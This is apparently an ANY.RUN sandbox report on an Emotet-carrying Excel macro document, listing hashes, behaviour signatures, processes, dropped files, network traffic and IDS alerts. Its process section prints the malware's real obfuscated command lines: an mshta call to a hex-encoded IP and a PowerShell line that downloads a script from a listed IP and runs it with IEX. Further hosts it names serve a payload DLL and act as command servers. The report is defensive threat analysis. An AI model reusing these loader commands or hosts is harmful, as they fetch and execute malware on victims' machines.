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File name:

A90453C8D6B17C548C9AB0A6A53EEAF402F4F950

Full analysis: https://app.any.run/tasks/1f092c5a-7972-4818-8a57-553259c09234
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Malware Trends Tracker     >>>
Analysis date: January 24, 2022, 21:53:32
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros40
loader
trojan
emotet-doc
emotet
Indicators:
MIME: application/vnd.ms-excel
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: xXx, Last Saved By: xXx, Name of Creating Application: Microsoft Excel, Create Time/Date: Mon Jan 24 14:50:55 2022, Last Saved Time/Date: Mon Jan 24 15:24:17 2022, Security: 0
MD5:

41FF01AF6CC489915BACEC2552585F72

SHA1:

A90453C8D6B17C548C9AB0A6A53EEAF402F4F950

SHA256:

33130248CE2E47C8096CD1FA0925AD9456FB1C319C6AE3A9AB351D470D573A93

SSDEEP:

3072:AH+Hyms/k3hbdlylKsgqopeJBWhZFGkE+cMLxAAIixe53lGvFTQ3IzxgdrvxpU0f:e+Hyms/k3hbdlylKsgqopeJBWhZFVE+i

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 3148)

    • Starts CMD.EXE for commands execution

      • EXCEL.EXE (PID: 3148)

    • Executes PowerShell scripts

      • mshta.exe (PID: 3992)

    • Loads dropped or rewritten executable

      • SearchProtocolHost.exe (PID: 2716)
      • rundll32.exe (PID: 3044)
      • rundll32.exe (PID: 3544)
      • rundll32.exe (PID: 2124)
      • rundll32.exe (PID: 3640)

    • Connects to CnC server

      • rundll32.exe (PID: 3640)

  • SUSPICIOUS

    • Reads default file associations for system extensions

      • SearchProtocolHost.exe (PID: 2716)
      • EXCEL.EXE (PID: 3148)

    • Checks supported languages

      • cmd.exe (PID: 1660)
      • mshta.exe (PID: 3992)
      • powershell.exe (PID: 3976)
      • cmd.exe (PID: 2740)

    • Reads Microsoft Outlook installation path

      • mshta.exe (PID: 3992)

    • Starts MSHTA.EXE for opening HTA or HTMLS files

      • cmd.exe (PID: 1660)

    • Reads the computer name

      • mshta.exe (PID: 3992)
      • powershell.exe (PID: 3976)

    • Reads Environment values

      • powershell.exe (PID: 3976)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 3976)
      • rundll32.exe (PID: 3544)

    • Drops a file with a compile date too recent

      • powershell.exe (PID: 3976)
      • rundll32.exe (PID: 3544)

    • Uses RUNDLL32.EXE to load library

      • cmd.exe (PID: 2740)
      • rundll32.exe (PID: 3044)
      • rundll32.exe (PID: 3544)
      • rundll32.exe (PID: 2124)

    • Starts CMD.EXE for commands execution

      • powershell.exe (PID: 3976)

    • Starts itself from another location

      • rundll32.exe (PID: 3044)

    • Application launched itself

      • rundll32.exe (PID: 3544)
      • rundll32.exe (PID: 2124)

  • INFO

    • Reads the computer name

      • EXCEL.EXE (PID: 3148)
      • rundll32.exe (PID: 3544)
      • rundll32.exe (PID: 3640)

    • Checks supported languages

      • EXCEL.EXE (PID: 3148)
      • rundll32.exe (PID: 3044)
      • rundll32.exe (PID: 2124)
      • rundll32.exe (PID: 3544)
      • rundll32.exe (PID: 3640)

    • Creates files in the user directory

      • EXCEL.EXE (PID: 3148)

    • Reads internet explorer settings

      • mshta.exe (PID: 3992)

    • Checks Windows Trust Settings

      • powershell.exe (PID: 3976)

    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 3148)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xls | Microsoft Excel sheet (78.9)

EXIF

FlashPix

HeadingPairs:
  • Worksheets
  • 2
  • Excel 4.0 Macros
  • 1
TitleOfParts:
  • Time Card
  • Sheet1
  • XXL
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
ScaleCrop: No
AppVersion: 16
Company: -
CodePage: Windows Cyrillic
Security: None
ModifyDate: 2022:01:24 15:24:17
CreateDate: 2022:01:24 14:50:55
Software: Microsoft Excel
LastModifiedBy: xXx
Author: xXx
No data.
screenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
48
Monitored processes
10
Malicious processes
5
Suspicious processes
2

Behavior graph

Click at the process to see the details
start excel.exe no specs cmd.exe no specs mshta.exe powershell.exe searchprotocolhost.exe no specs cmd.exe no specs rundll32.exe no specs rundll32.exe rundll32.exe no specs rundll32.exe

Process information

PID
CMD
Path
Indicators
Parent process
3148"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXE—Explorer.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Version:
14.0.6024.1000
1660cmd /c ms^ht^a ht^t^p:/^/0x^5cf^f^39c^3^/^sec^/^se4.htmlC:\Windows\system32\cmd.exe—EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3992mshta http://0x5cff39c3/sec/se4.htmlC:\Windows\system32\mshta.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
3976"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/se4.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
2716"C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe3_ Global\UsGthrCtrlFltPipeMssGthrPipe3 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon" C:\Windows\system32\SearchProtocolHost.exe—SearchIndexer.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Microsoft Windows Search Protocol Host
Version:
7.00.7601.24542 (win7sp1_ldr_escrow.191209-2211)
2740"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyStringC:\Windows\system32\cmd.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3044C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyStringC:\Windows\SysWow64\rundll32.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3544C:\Windows\system32\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServerC:\Windows\system32\rundll32.exe
rundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2124C:\Windows\system32\rundll32.exe "C:\Users\admin\AppData\Local\Fyqvhrewgex\xnjsmoohwjh.ucn",TyRxCPTC:\Windows\system32\rundll32.exe—rundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3640C:\Windows\system32\rundll32.exe "C:\Users\admin\AppData\Local\Fyqvhrewgex\xnjsmoohwjh.ucn",DllRegisterServerC:\Windows\system32\rundll32.exe
rundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
3 347
Read events
3 227
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
4
Text files
1
Unknown types
2

Dropped files

PID
Process
Filename
Type
3148EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVRE5FE.tmp.cvr —
MD5:—
SHA256:—
3992mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\B6QGX7LP\se4[1].htmbinary
MD5:EE3D40A393DFC20684FDCD4282DA0284
SHA256:2C8F62708A16B068433ED479A0E16143257BD15B91EF904F30642CD0E24716DD
3544rundll32.exeC:\Users\admin\AppData\Local\Fyqvhrewgex\xnjsmoohwjh.ucnexecutable
MD5:E5FB7441DE534DA3AD0102BEE8590191
SHA256:001162F29C8221E581AAE4A305897C52C216DC4FF5A7FEE58B367C913C38663F
3976powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCachebinary
MD5:D3C284009A5790C3AA90D7C5D620CA65
SHA256:6C12FFF497059706D50431BB47C624FA24A8A7F9B6D52B2AB251FDC588E00E39
3976powershell.exeC:\Users\Public\Documents\ssd.dllexecutable
MD5:E5FB7441DE534DA3AD0102BEE8590191
SHA256:001162F29C8221E581AAE4A305897C52C216DC4FF5A7FEE58B367C913C38663F
3148EXCEL.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\A90453C8D6B17C548C9AB0A6A53EEAF402F4F950.xls.LNKlnk
MD5:EBEA0459FA5168F9C853A1F6345EE596
SHA256:49167B952654F5191933AC675DBE58F3A576A6A33A1462C296E19AA0DA52DAFC
3148EXCEL.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.datini
MD5:FAC145C663637EA674AC280B2DB9DCB5
SHA256:26761AC501A2461D152058971D1181F70C3C64EFAEB13A1214BA7F13282F94A2
3976powershell.exeC:\Users\admin\AppData\Local\Temp\j5zlhsru.ibf.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
3976powershell.exeC:\Users\admin\AppData\Local\Temp\ykdpyzvs.vub.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
8
DNS requests
2
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3992
mshta.exe
GET
200
92.255.57.195:80
http://92.255.57.195/sec/se4.html
RU
binary
10.9 Kb
malicious
3976
powershell.exe
GET
200
92.255.57.195:80
http://92.255.57.195/sec/se4.png
RU
text
1.14 Kb
malicious
3976
powershell.exe
GET
200
31.31.196.8:80
http://firstfitschool.com/83wg6z/oUCHXJmm/
RU
executable
676 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
31.31.196.8:80
firstfitschool.com
Domain names registrar REG.RU, Ltd
RU
malicious
3992
mshta.exe
92.255.57.195:80
—
Telecom SP Ltd
RU
malicious
3640
rundll32.exe
45.138.98.34:80
—
—
—
malicious
3976
powershell.exe
92.255.57.195:80
—
Telecom SP Ltd
RU
malicious

DNS requests

Domain
IP
Reputation
dns.msftncsi.com
  • 131.107.255.255
shared
firstfitschool.com
  • 31.31.196.8
malicious

Threats

PID
Process
Class
Message
3976
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
3976
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
3976
powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
3640
rundll32.exe
A Network Trojan was detected
ET CNC Feodo Tracker Reported CnC Server group 17
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
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Reports
A90453C8D6B17C548C9AB0A6A53EEAF402F4F950